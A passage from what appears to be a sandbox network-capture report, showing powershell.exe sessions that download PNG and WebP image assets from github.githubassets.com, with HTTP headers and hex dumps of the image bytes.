4a 88 e7 d3 fb 39 74 7a 16 bd 03 20 42 7e 2f af 48 af 54 05 31 95 73 72 99 8f 91 ab Data Ascii: PNGIHDR $" pHYssRGBgAMAaIDATx\{q`5bj0KUGf%n++'qY'ulWZq(+QYCWi.k)XJ3{w<o&-z.J9tz B~/HT1sr
2024-09-30 13:50:42 UTC	1378	IN	Data Raw: a6 6d de bd 60 c1 d7 e8 ed 7d a0 74 5f 6f 36 cc 15 5c d0 df 0f 5f dd b4 09 fa 07 06 e0 ec b3 cf 86 ae ae 2e 1b 77 d6 ac 59 f9 1c 5f 5b b6 7c 39 4c 4e 4e e2 d8 d8 21 d3 a6 82 18 c0 52 54 06 c9 3c 8d 14 57 43 c2 81 14 a6 15 67 e9 84 d0 64 ce 48 80 e1 83 6e de 20 8e 85 75 8f c1 2d 37 00 84 36 22 82 7b 08 75 7b 8d 15 88 1c 54 83 17 23 38 0c f9 9d 5b 27 74 4b a8 39 19 9a 67 1b b6 5b ad 5f 39 13 09 03 db a5 ac f8 00 eb cc 60 e0 4e 2b 61 23 e8 f0 93 a0 c9 6a 7a 5c 89 d0 36 03 80 c8 d6 9e 0e d4 70 04 a1 d6 85 05 ca 45 89 34 bb 33 61 7a 7a db c8 cf ff f3 07 56 51 36 77 63 d0 74 d1 8a 03 89 f6 ae bd ee 3a 58 79 e9 a5 f0 56 ca 96 67 9f a1 bf 67 45 c4 3a 17 ec b1 9d b2 b6 5e 69 ba 73 08 a1 04 34 18 47 78 bf a6 a7 98 25 09 79 5e 6b 01 0d d6 07 08 7b 9f 38 b4 a4 8e a1 Data Ascii: m`}t_o6\_.wY_[\|9LNN!RT<WCgdHn u-76"{u{T#8['tK9g[_9`N+a#jz\6pE43azzVQ6wct:XyVggE:^is4Gx%y^k{8
2024-09-30 13:50:42 UTC	1378	IN	Data Raw: 82 de f9 f3 c0 92 25 9c c2 c4 43 07 5f cd e1 c0 1a 92 93 bb 7f 66 f3 d3 79 20 f6 3c 1c 46 bc b0 63 27 b5 79 bd a1 65 cc a1 d7 b2 c1 41 cb 28 71 fb 7d fb f6 c0 a1 83 87 b2 1d f5 ce 9b 87 03 03 4b 60 94 74 7c 60 74 34 b3 71 19 03 e1 d9 67 9e ce 6d 68 0c 5c 48 f3 7c 61 c7 f3 e9 f0 1b 87 59 2e ec a7 36 b3 a9 6f 5e 9b 9f 1f 18 a5 f0 6e 22 af e4 d2 65 45 a7 bb 69 8e 4b 97 af a0 f9 bc 8e 1e e8 26 0b 25 df b3 6c 05 9e 45 a4 f8 93 1f ef 83 d7 28 d4 3c 67 6e 4f 3a 77 e1 22 98 db d3 03 6f 50 da f6 5f 77 ef a2 f7 09 88 59 39 d9 6c a3 3b 8b 30 51 b3 a6 f4 c7 d3 e9 7d 6e c5 3a c2 4a 6a 92 b4 18 08 a7 2e d9 f2 46 47 47 61 84 26 d7 b7 b0 2f ad 5e bb 06 19 b0 9d 4a 4f 6f 8f 4d 0f 34 32 16 97 2f 1b 54 b5 c6 34 3a 32 9a eb f4 f6 f4 66 3b ef a1 c9 f2 c2 ec da b5 13 96 d3 44 Data Ascii: %C_fy <Fc'yeA(q}K`t\|`t4qgmh\H\|aY.6o^n"eEiK&%lE(<gnO:w"oP_wY9l;0Q}n:Jj.FGGa&/^JOoM42/T4:2f;D
2024-09-30 13:50:42 UTC	1378	IN	Data Raw: 1c 1b e7 70 8e 0a eb 79 f6 9c 39 ae 43 11 97 bb e2 cf 5d 5d bd c5 32 04 cc 0c d6 b0 77 cd 07 17 10 90 f9 3c 1b c3 25 2b 87 e0 9f ff 71 38 8b f3 bd e7 36 c3 1b 6f 4c c0 7b 96 2e 87 0f 50 48 31 43 e2 f9 07 ef f9 2a fc 1b c5 d0 e0 58 f0 2f 34 b8 7a b1 9a 1c 61 b8 45 27 c6 65 e2 c1 3d 96 a9 f3 81 82 a9 53 51 ab e9 eb 5b 88 9b 36 dd 8d 9b ee be fb 94 20 e6 32 c1 e1 46 32 d7 d0 39 80 57 e7 41 d7 34 73 c1 6c cc cc 30 2a 71 17 2b f1 b0 6c 8c f2 22 50 bd 49 0a 45 94 85 7b 7a e6 59 a8 c2 cc 96 43 1a 13 3a f9 3d 15 09 66 98 1d 99 99 08 d0 96 02 bb f2 aa ab e0 de fb 1e c8 20 0f d2 81 6e 82 83 0e 52 60 fa 46 7e 4e 8d 26 ee 41 0a 68 e7 71 de 3b f9 6d fa 6e 37 c2 a4 0c be 84 62 d4 6c c0 34 3f 3e c7 b9 f2 85 c5 f5 c3 ab af be 2a ac 25 dd 57 77 4e aa 8f 90 c2 1d 21 f5 b2 Data Ascii: py9C]]2w<%+q86oL{.PH1CX/4zaE'e=SQ[6 2F29WA4sl0q+l"PIE{zYC:=f nR`F~N&Ahq;mn7bl4?>*%WwN!
2024-09-30 13:50:42 UTC	1378	IN	Data Raw: 1c c5 fb a9 c2 45 3b 15 b4 00 62 0a dd 73 55 71 a9 9a c6 11 00 99 00 e2 57 ea cd 01 84 3a cd 76 55 d6 d2 b7 81 d1 0a cc 9c 74 f9 ab 31 6d be c1 d0 03 ab 17 86 c6 f0 e5 d8 d4 fc a6 8a 42 07 2b 4f 57 cf b5 82 36 2a 82 0b 83 7b 47 ae 6a 63 d9 38 0a 2a b0 d4 63 80 b1 ae d5 ad e6 55 80 6c 38 0f 03 b5 7d 48 1d 94 84 2e 8b 6c 05 cf 98 7e f9 81 03 af 1c c9 40 26 56 3e 32 7f c1 fc 59 74 38 50 af 57 c1 8a e2 9a 6f 78 50 e6 01 35 97 79 ba c2 ae f9 fe 7b ef 85 ed db b6 f9 02 e8 f0 49 bf 43 66 6a 43 65 15 f4 07 0b d5 74 cd 33 b8 60 a8 bf 61 51 e1 b5 0d bb 9e 83 c2 b0 98 d8 20 fc 72 16 a0 99 8c 45 65 c3 64 46 90 22 f0 40 19 19 6a bb 6b fb cd 88 dc 87 3f 79 ab e1 54 1e 21 d4 4f 82 3d e9 db 36 ed ca 42 28 84 1e bf 2d 63 72 54 72 bb 3a 50 59 d6 00 5d 78 d2 7d 12 42 ed 0a Data Ascii: E;bsUqW:vUt1mB+OW6{Gjc8cUl8}H.l~@&V>2Yt8PWoxP5y{ICfjCet3`aQ rEedF"@jk?yT!O=6B(-crTr:PY]x}B
2024-09-30 13:50:42 UTC	69	IN	Data Raw: c1 64 74 ce 6d 46 1a e7 0c 41 fd 1e 68 25 f0 5c 59 60 de a0 09 97 bc 1a 5b cc 32 8c 83 f8 df 74 6e 9c 6a bc 4c 01 ec 8b 27 e0 6d 6f fa 67 65 ff 0f 77 49 e8 10 02 b0 ae dd 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: dtmFAh%\Y`[2tnjL'mogewIIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.7	49782	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:42 UTC	364	OUT	GET /assets/hero-desktop-a38b0fd77b6c.webp HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:42 UTC	667	IN	HTTP/1.1 200 OK Connection: close Content-Length: 105072 Cache-Control: public, max-age=31536000, immutable Content-Type: image/webp Last-Modified: Thu, 08 Aug 2024 18:11:56 GMT ETag: "0x8DCB7D596D50690" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:42 GMT Age: 2358689 X-Served-By: cache-iad-kiad7000070-IAD, cache-ewr-kewr1740072-EWR X-Cache: HIT, HIT X-Cache-Hits: 15348, 2052 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: f52d109c474652ee09dddfe416f53ba542ae6e9b
2024-09-30 13:50:42 UTC	16384	IN	Data Raw: 52 49 46 46 68 9a 01 00 57 45 42 50 56 50 38 58 0a 00 00 00 10 00 00 00 4a 09 00 5d 06 00 41 4c 50 48 81 01 00 00 01 17 d0 ff 88 08 28 68 24 35 42 02 26 90 84 7f 4f 4f 3b 11 fd 9f 80 18 a8 c9 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc c7 7f fc Data Ascii: RIFFhWEBPVP8XJ]ALPH(h$5B&OO;
2024-09-30 13:50:42 UTC	16384	IN	Data Raw: e1 2f 19 52 9e e6 ed 1a d0 53 ed b1 01 78 2f d0 ab c1 47 55 29 4f d5 b3 1f 9f 28 5f f7 ff 46 b8 08 9d 75 30 36 b6 d5 ae 34 6d e8 37 20 d6 bd c3 79 53 b4 e2 7d a8 6c 41 b5 98 a7 c8 1f 18 f8 3a df 7b f9 df b4 ff 74 06 ea 5a 3b ce ad d2 58 f2 ba bf 84 e6 b1 be 60 5c 25 b6 23 8a ec c3 bb d5 70 15 7f df c5 d1 69 aa 87 39 b5 18 82 32 54 b7 25 2e b5 b8 16 13 ac 23 a9 04 c8 ef 9b 5e 36 90 ef 9e 94 ee a1 9e 72 02 42 9e a7 33 7c 1b 25 6b 12 2f 0a 9b 91 26 8d 67 a8 8b 30 fc 24 bd 86 0a 2f 02 f6 b9 77 fd c5 9d f9 f6 b9 77 fd c5 9d f9 f6 b9 77 fd c5 9d fa 00 70 74 7e 26 22 f1 bd e6 5e 4a d8 63 17 0e c4 e2 ef fb 8b 3b f3 e1 25 f7 0e fe 58 1b b7 b8 df 3f f6 6c 35 ff 39 16 2d f1 75 83 6a e2 1c 19 98 cb 2a 81 ef dc 2e 40 52 2f 17 c4 af 86 b1 7e d6 27 0e a1 cf a4 c9 bd a7 Data Ascii: /RSx/GU)O(_Fu064m7 yS}lA:{tZ;X`\%#pi92T%.#^6rB3\|%k/&g0$/wwwpt~&"^Jc;%X?l59-uj*.@R/~'
2024-09-30 13:50:42 UTC	16384	IN	Data Raw: b8 97 6b 4d 7d 3b b6 96 2c 03 ed 38 48 70 69 b0 f6 4d 04 38 cd 1a cd 59 da c3 57 ce 42 44 cb 05 f6 c6 71 e6 36 f6 00 00 77 c1 84 31 e2 23 94 31 d7 ec e9 6f 8d 7d 8e 35 c1 a5 6d e4 2e 2e a8 89 65 bf f2 1f ac 33 4a d1 a7 f8 d1 4e ce a7 61 ca 75 bd 51 bb 8c 0c 93 ca e2 1d 53 28 84 b9 40 d7 24 90 88 e4 4f 89 f2 55 e8 91 4a 6c 84 67 ad 9e fb c3 68 95 c9 22 39 df 95 4a b8 c2 f3 8e f9 c4 af 86 0c ec 18 a1 bc 5b d1 c6 f0 36 53 44 43 32 fc 60 2b 4e 7a b0 de f3 a9 28 bc 75 ec 82 c2 bb e4 62 96 a3 76 49 b6 c4 39 84 86 9f ea 64 20 e4 b8 ae 5b 17 58 34 23 c2 5d 39 05 c9 f2 3a 4e c0 ec e5 84 73 01 8c 54 24 8e 21 2e 0a 61 ba 3d 9f 99 a9 b2 99 c9 8e 5f 93 95 65 cc 77 b1 4b 25 94 5f c6 02 06 02 57 30 ce 4a 56 56 c0 4b 36 62 ea 28 08 73 1a c3 43 56 dd 5f 54 e5 fa f9 77 6e Data Ascii: kM};,8HpiM8YWBDq6w1#1o}5m..e3JNauQS(@$OUJlgh"9J[6SDC2`+Nz(ubvI9d [X4#]9:NsT$!.a=_ewK%_W0JVVK6b(sCV_Twn
2024-09-30 13:50:42 UTC	16384	IN	Data Raw: c2 72 00 49 c9 cf 25 06 74 c4 45 a7 b3 a3 c3 64 e4 1a 18 84 11 85 72 ba f5 d1 2a e5 63 fa 3b 07 3c 49 9c 9c 94 f3 d2 43 97 ea 6d d2 13 14 d3 6d fe 9f 14 92 77 6b f1 0d b3 ee 29 54 4b 41 0f ee 76 b1 d6 6e 85 f4 a9 a4 eb 01 d6 6e 65 93 69 32 70 d7 74 f7 1b 3e 74 1c 6e d3 2c e2 7f 06 cf d8 77 79 67 02 b2 8e 54 6d 72 bc d7 ed dc 76 eb 53 ba 9d 7c 4a 69 c3 33 58 b5 aa f4 38 65 e2 c8 5f 3b 28 8c 3d 35 8c 19 81 c1 59 7c 7c 92 7d 7c a5 45 43 bb 13 7e aa c9 0f f8 b1 ab 8a 79 68 9b 45 a0 b7 2d d1 d5 3d e1 6d d0 66 13 50 9d db 58 cb 99 4a 5d dc 2b 45 72 33 a7 de 82 a6 37 79 6f 0a 3e 10 ef b6 91 ba f8 4a d3 db d8 d9 88 b9 92 9e b2 24 c4 4a 33 f3 dc 13 12 02 f5 c6 d9 c3 cd b5 0e 5b 77 27 89 2a fa 85 f7 01 e0 22 b2 e4 ea 02 13 46 d2 95 03 4b b1 4f 6c 25 33 3e 37 e6 ae Data Ascii: rI%tEdrc;<ICmmwk)TKAvnnei2pt>tn,wygTmrvS\|Ji3X8e_;(=5Y\|\|}\|EC~yhE-=mfPXJ]+Er37yo>J$J3[w'"FKOl%3>7
2024-09-30 13:50:42 UTC	16384	IN	Data Raw: 5d 05 9d fb 87 74 98 09 9a 32 95 de 92 ac d5 9f 47 78 8a 2f f8 08 a9 68 31 33 5c 03 59 b1 0f 98 c8 d6 1e e7 e0 52 53 0e 45 61 06 59 01 1a f7 65 36 b6 8a 9e 51 3a 08 2c 50 54 8a 51 99 36 a6 0b fd 68 27 99 a5 34 58 9d d3 02 60 df ba 14 3f af c7 15 2e 72 90 a3 68 c6 46 c0 5f 30 48 e0 b1 52 1a 6b b7 df db a3 33 6b 95 08 61 b3 52 35 c6 c0 d3 d3 5e bf 84 00 37 50 45 0a c1 58 9c d1 f1 8f 2b 7a 30 8b 48 a2 fc 50 53 dc bc 84 c2 49 b9 6c 39 59 b1 6c bc 3f f5 29 e1 9a 15 bb d7 f8 78 da 00 79 2f 12 5b ae 26 9f 66 5a 8e 1a 94 46 15 15 98 ab 16 52 60 2b 9b b8 6e b3 09 3d 48 45 29 b3 38 f6 eb c8 bd 64 57 e4 d9 e3 04 da d0 bc 6b 5c 92 23 8b f0 10 86 b0 16 bd d8 a3 6d 4c 6f e1 e1 85 81 ff 01 ad 4b f7 fa 44 0a c0 52 82 fc a5 03 0f 85 19 15 b0 1d 85 39 f0 be 18 f9 f7 1f 49 Data Ascii: ]t2Gx/h13\YRSEaYe6Q:,PTQ6h'4X`?.rhF_0HRk3kaR5^7PEX+z0HPSIl9Yl?)xy/[&fZFR`+n=HE)8dWk\#mLoKDR9I
2024-09-30 13:50:42 UTC	16384	IN	Data Raw: ca 14 fc cf 57 a9 9b c9 cc 09 68 2b c8 3d c9 c7 55 da 21 1a 7b bf 36 03 fc 64 82 06 17 56 5a 73 28 cd d6 81 51 18 57 6a d5 38 40 3a b0 8e bf 59 2d 0f ab da 72 5e 2d 9a 4f 32 81 b4 e9 00 c7 f6 07 71 11 62 69 84 76 83 31 a0 cf 94 09 e6 40 96 3d a6 fd 08 e4 a8 9f b6 5f d6 08 ac 5e fa ff 3a 6b b5 37 b2 bf ea d5 05 24 ff 6c 71 dc 68 8e 94 ae 36 58 8e 28 97 e7 39 fc b2 43 a9 37 d1 c6 d3 88 97 60 43 95 f4 45 21 3f 69 95 30 5f c8 5d 02 1f f9 f1 ff ae 1e 6f c3 45 7d f7 1f 5a 0d 55 c4 5f b0 73 49 ba 28 68 45 de 7b 40 57 a0 10 dd bd aa d6 94 88 38 ba 0a 8e f0 ac 37 86 7f 18 77 38 36 1c a4 72 4c 36 b2 b0 7b ad e6 30 ac a1 11 da 62 2d 9f 91 42 1a 67 a0 8e cc 5e 9d 6c 09 ef 6c 3d ac b0 27 1a 56 00 f4 fa e3 0c 75 53 5d 41 e3 7d fb 09 86 94 6a 13 45 49 b1 99 2a 1c a4 73 Data Ascii: Wh+=U!{6dVZs(QWj8@:Y-r^-O2qbiv1@=_^:k7$lqh6X(9C7`CE!?i0_]oE}ZU_sI(hE{@W87w86rL6{0b-Bg^ll='VuS]A}jEI*s
2024-09-30 13:50:42 UTC	6768	IN	Data Raw: 5f 54 2d f7 00 86 79 0a 61 5d 22 0f 03 7a 5f 00 42 e1 1d 66 87 d3 da 74 7f 56 7f 23 2e 9c 53 03 fe f1 34 d9 84 df 14 85 4c df 00 e8 b1 3b 6f 08 4f 81 c0 00 bd 9f 38 77 c4 41 b9 ce c3 01 61 6d 30 b5 a8 37 20 a6 1f d9 2c a5 1e 70 00 00 00 71 65 d4 50 80 c5 b4 09 df 09 13 cf 04 5d c1 43 8b d6 14 8b 00 94 32 1f 6b aa 59 83 fe 8f fb a2 47 dc 1e 19 a1 4b ed ac fb 86 04 68 11 22 96 eb b6 e7 0b 44 d4 94 9f 22 c8 a6 84 fa 13 44 7d 15 33 97 d1 f6 0e 3c c8 dc 7f 9d c0 04 5a d8 9b ac c1 18 95 35 83 0b 72 d5 d7 e5 04 2c 2d a5 4a 39 9b 4b c4 30 0e 17 08 7d b2 0c 4e 1b 21 ef 95 9a 95 1b 3a 49 7f 0e b6 53 59 87 a5 08 9b 4a 0a 87 ae ac be 6d d9 4a 37 a4 ab 7e 06 4e 16 ed c6 1f 22 dd 0c 0b 83 e4 e6 86 47 7a 1b e1 ea 2c 82 e7 f4 74 78 e3 af 29 23 8e 1b 20 d9 bc 78 ec a1 da Data Ascii: _T-ya]"z_BftV#.S4L;oO8wAam07 ,pqeP]C2kYGKh"D"D}3<Z5r,-J9K0}N!:ISYJmJ7~N"Gz,tx)# x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.7	49783	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:42 UTC	363	OUT	GET /assets/hero-mobile-7163f4f5de41.webp HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:42 UTC	665	IN	HTTP/1.1 200 OK Connection: close Content-Length: 25912 Cache-Control: public, max-age=31536000, immutable Content-Type: image/webp Last-Modified: Fri, 03 Nov 2023 16:44:34 GMT ETag: 0x8DBDC8C28E47862 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:42 GMT Age: 3995616 X-Served-By: cache-iad-kcgs7200155-IAD, cache-ewr-kewr1740043-EWR X-Cache: HIT, HIT X-Cache-Hits: 20019, 3076 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: f349b6921a06c23abc9db24d3662f03964fc8a46
2024-09-30 13:50:42 UTC	1378	IN	Data Raw: 52 49 46 46 30 65 00 00 57 45 42 50 56 50 38 20 24 65 00 00 70 e8 01 9d 01 2a 02 03 1c 02 3e 45 20 8d 44 a2 a7 a9 a5 27 72 89 c9 30 08 89 4d df 7c 4a 30 62 35 ed 59 27 3c c9 38 5e 85 ca 2f 08 43 b6 e2 58 83 8e b0 ff 43 7b 80 ff 47 19 a9 a9 fe b7 e4 af 79 17 d0 f4 ff e4 3f 69 3f c7 fe e4 fc ca da 3f c9 ff 81 fd 4b fe 1b f6 bf e6 97 84 bd 91 e7 01 d0 df ee bf c5 7f 9c ff c9 fe 8f ff ff ff ff aa 3f fa bf d7 7b c6 fe 43 fe 9f ff 4f b8 4f f1 af e9 bf ec 3f be ff 99 ff a5 fe 4f ff ff ff ff ad 3f 62 bf bb 9e ac 3f b2 7f 95 ff b1 fe 8b f7 ff e5 fb fd d7 ed e7 bd 2f ee ff ee bf f0 ff 95 ff a5 f2 07 fd 5f fc 87 fe 0f 6f 1f fb 1e c9 df bd 1e c1 df d0 ff da 7f e1 f6 7f ff b1 fb 85 ff 23 e5 5b fa bf fb 5f db 8f 81 8f d8 ff fc bf 9f ff 20 1f fd 7d ac ff 80 7f e5 ea ef Data Ascii: RIFF0eWEBPVP8 $ep*>E D'r0M\|J0b5Y'<8^/CXC{Gy?i??K?{COO?O?b?/_o#[_ }
2024-09-30 13:50:42 UTC	1378	IN	Data Raw: 17 b2 18 93 d1 9f d7 04 e0 e7 0e 77 a4 65 ce de d2 8a 3e 48 98 c0 03 0b fb 15 03 44 d6 14 82 f2 eb 6d ad 0b 9f 56 80 36 e9 81 44 2f d1 35 11 00 c3 aa 6c 51 fe c4 51 9e 85 1c 94 33 42 0a e1 f5 19 d6 8d 6d d4 24 90 49 f5 22 b8 8d 5a 79 4a 75 22 7e aa f2 92 11 6f c2 cf b6 2d 7a b6 f1 44 3c cd 18 fa 5e be 4f e8 60 5a 66 f6 ca 1f 2a fe 9b 9c f8 66 7c 93 ae a8 fe 2b 05 a9 2f 30 26 84 c2 a2 6a da 57 b5 b2 20 fe fa a7 d4 3e 5c 17 a8 ab 98 50 3d ed e7 02 f0 91 fd a3 7c 12 e4 46 8e 55 ae c6 9d c7 6c 6f 3b 1a df 84 f3 c3 9f 06 2a af 48 27 79 2d da ce 1e f8 cc 38 cc 8b d4 4e 88 19 3a 06 34 65 67 cf aa 13 57 8f 18 84 a0 83 97 98 ec 98 7b 6b e5 ca 0f ff f1 1e 0b 04 66 05 51 c7 f1 1e 5b 62 85 c5 c9 a5 b1 8a 88 ef 8f 70 a9 fc 2d 00 5a c7 62 fb 57 1c 70 fc 4d a4 dc 93 a0 Data Ascii: we>HDmV6D/5lQQ3Bm$I"ZyJu"~o-zD<^O`Zff\|+/0&jW >\P=\|FUlo;H'y-8N:4egW{kfQ[bp-ZbWpM
2024-09-30 13:50:42 UTC	1378	IN	Data Raw: 9a ad 05 3a 1f cb 03 d4 de f0 46 b6 f6 91 92 1b 45 a0 d1 10 6a 9b 2a 7b d0 3b c8 81 d1 98 db fc 53 65 62 06 a6 02 2e e6 95 be 88 34 90 c1 99 97 4a 6e 86 cf ff ff f2 fd 47 12 e8 50 21 bf 2c 31 fc 18 bc f4 a1 96 25 03 98 d2 ba 41 3a a1 de 07 f1 73 80 c7 5e 43 8d 0d bf 80 5b e1 b5 03 2c b3 41 5a 5f 4f d5 c0 63 5b 2d c9 c3 f1 91 57 47 0e a0 a4 b3 51 98 94 da c9 0b b3 d1 af d2 48 9a 0c cd 92 84 b0 7e a9 89 4b 12 fa ef c8 8c 1a 3b d2 d8 42 c7 f2 9e 9e bf a9 0e 23 c7 fa 60 64 7c 7a 42 14 09 a8 69 75 a1 e0 04 48 88 be 57 e8 94 6e b5 3d 40 a3 43 21 9d e6 e2 5e e9 48 cf ff f7 4b 0e a2 23 34 e1 fc fe 21 f8 4d 4f 0f 9f c3 75 ef 06 e2 f7 42 f0 27 e2 3e da af d7 c2 d9 73 f5 d7 38 7f 2d df b7 48 54 7f 86 45 61 92 11 39 ec a9 cb a7 1d 69 6f f7 80 77 c9 79 81 69 96 48 46 Data Ascii: :FEj*{;Seb.4JnGP!,1%A:s^C[,AZ_Oc[-WGQH~K;B#`d\|zBiuHWn=@C!^HK#4!MOuB'>s8-HTEa9iowyiHF
2024-09-30 13:50:42 UTC	1378	IN	Data Raw: 9b 0b cc 54 b5 46 df 1c a2 d4 dc 54 7d b1 43 c4 be 00 08 c8 be da 7e 25 f3 84 b2 5e 13 5e 21 bb b8 92 f5 14 8d b5 33 f6 9c 96 1f 78 33 96 3a f0 17 82 60 f3 50 cd 8f bb 05 5c 07 25 87 73 99 3f 56 35 d9 1b 52 c7 07 e4 a2 3d e2 6e 83 24 c5 ab ce 3e 04 df a6 0d 56 43 29 c2 59 2f 09 af 10 dd dc 49 7a 8a bb 0a 71 f3 a4 7f d6 7a 83 96 fa 00 00 00 00 5f 43 99 51 e7 8a 1b e8 1c 4b 97 5b 7b ce ae d8 58 d6 9d 57 af 7c 6e f1 d6 40 17 c0 68 59 ae 8d 5a e6 03 f7 7d 57 ce e2 49 4d 7a 78 11 6d 54 c2 61 59 7d f4 4e 36 d6 67 52 c3 0d de c9 42 7b 7d 18 c3 c9 47 ad 18 73 92 0d f8 70 cc 33 71 69 3a cd 92 44 f5 e0 ac 01 86 0f fd 92 bc 69 23 53 ab e5 68 2f f7 1b a4 bb 69 5a 51 16 fb 84 00 da c8 24 32 8b e1 b9 f0 b4 8a 2e 20 16 6a 43 e1 9b f9 dc 33 67 2e 60 a3 cf c9 c4 e3 9f f2 Data Ascii: TFT}C~%^^!3x3:`P\%s?V5R=n$>VC)Y/Izqz_CQK[{XW\|n@hYZ}WIMzxmTaY}N6gRB{}Gsp3qi:Di#Sh/iZQ$2. jC3g.`
2024-09-30 13:50:42 UTC	1378	IN	Data Raw: 89 0b d5 88 6b 62 09 1c 7b 89 77 14 96 6f a6 22 05 39 20 17 14 52 e8 92 25 32 4f 88 af f4 2f db 85 7b 24 2d 05 7f fb eb 57 af cf 93 79 69 27 2a 37 e1 fa 19 69 4b 8c e9 8b 3b 19 6d a4 a9 03 5b 3b 95 85 ba be 01 c8 26 97 f5 4f 08 2e 65 fa df 16 24 ab ea 9e 1f 05 98 53 fe b6 47 e5 21 67 4b 86 9a ba 0b 76 e6 96 e1 99 8d 9c 77 aa f6 28 15 a6 69 09 d9 e4 b5 7a 94 0a 71 92 cb 10 64 a9 92 81 b0 22 57 c3 db 74 74 a7 04 2d 4b 7c 79 1e 32 84 de 99 98 42 35 22 d1 65 a2 ba 57 35 8c 6e 84 70 3a a1 f3 71 61 b1 dc 6d 8c f4 7f 6b ea 35 4c c2 2d 26 da c1 bd f2 7e fd f7 05 6e 39 cd 1d 6d cc 72 da dc 1b 49 b1 9e 64 5c 8f 1a 5a 7d d8 7e c6 3b d3 b5 1a 51 b0 6f f7 29 43 c4 e5 26 6b d2 af 76 f7 07 32 c7 2d 9d 43 25 09 ef f3 a0 f5 c6 d3 91 34 7e 23 b2 27 b5 92 af c0 a9 18 05 13 Data Ascii: kb{wo"9 R%2O/{$-Wyi'*7iK;m[;&O.e$SG!gKvw(izqd"Wtt-K\|y2B5"eW5np:qamk5L-&~n9mrId\Z}~;Qo)C&kv2-C%4~#'
2024-09-30 13:50:42 UTC	1378	IN	Data Raw: e7 75 bc 85 68 94 c2 b4 05 95 ee c2 8b 4c 78 ac fc ce 49 c8 73 ea fa c7 b3 62 ad 49 3f 8a 07 aa 34 42 cb 97 c3 5d d5 84 10 27 36 14 23 da 90 e1 de fb f9 95 00 22 ca 73 03 1d 3f bf 14 5a a7 a9 e3 a4 95 6c 8b 89 5f 1a d7 13 aa fa aa e6 6f 5c 19 10 61 1c a1 95 c0 f6 05 58 c3 e1 fb ec fc be 30 29 71 38 ad 69 4f d3 2c c1 71 d9 1a 7d c0 66 f5 60 5e c5 80 03 6f 57 a4 6f 8c e1 fd eb 54 09 e1 46 03 05 a3 36 d4 f8 ec b2 92 a9 e6 e7 5a c4 37 eb 84 6e 60 15 c4 65 5c ff 50 99 46 83 26 02 70 5c 8d bf 13 94 5f 82 16 02 2b b5 ac 0d c5 c0 7d d5 df aa e2 ab 63 b7 ea 58 13 38 a4 f3 fb 97 d5 d2 fd cb 4d dc f5 0b 28 dc 23 98 7a 56 47 64 45 58 53 0d bc 87 f1 ce 80 02 c6 69 61 41 14 39 2f 75 5f 27 91 ec 33 0f 1d 61 97 0b 20 01 93 0c 8b e7 9b 80 95 b2 61 04 9a d7 9a 44 05 27 de Data Ascii: uhLxIsbI?4B]'6#"s?Zl_o\aX0)q8iO,q}f`^oWoTF6Z7n`e\PF&p\_+}cX8M(#zVGdEXSiaA9/u_'3a aD'
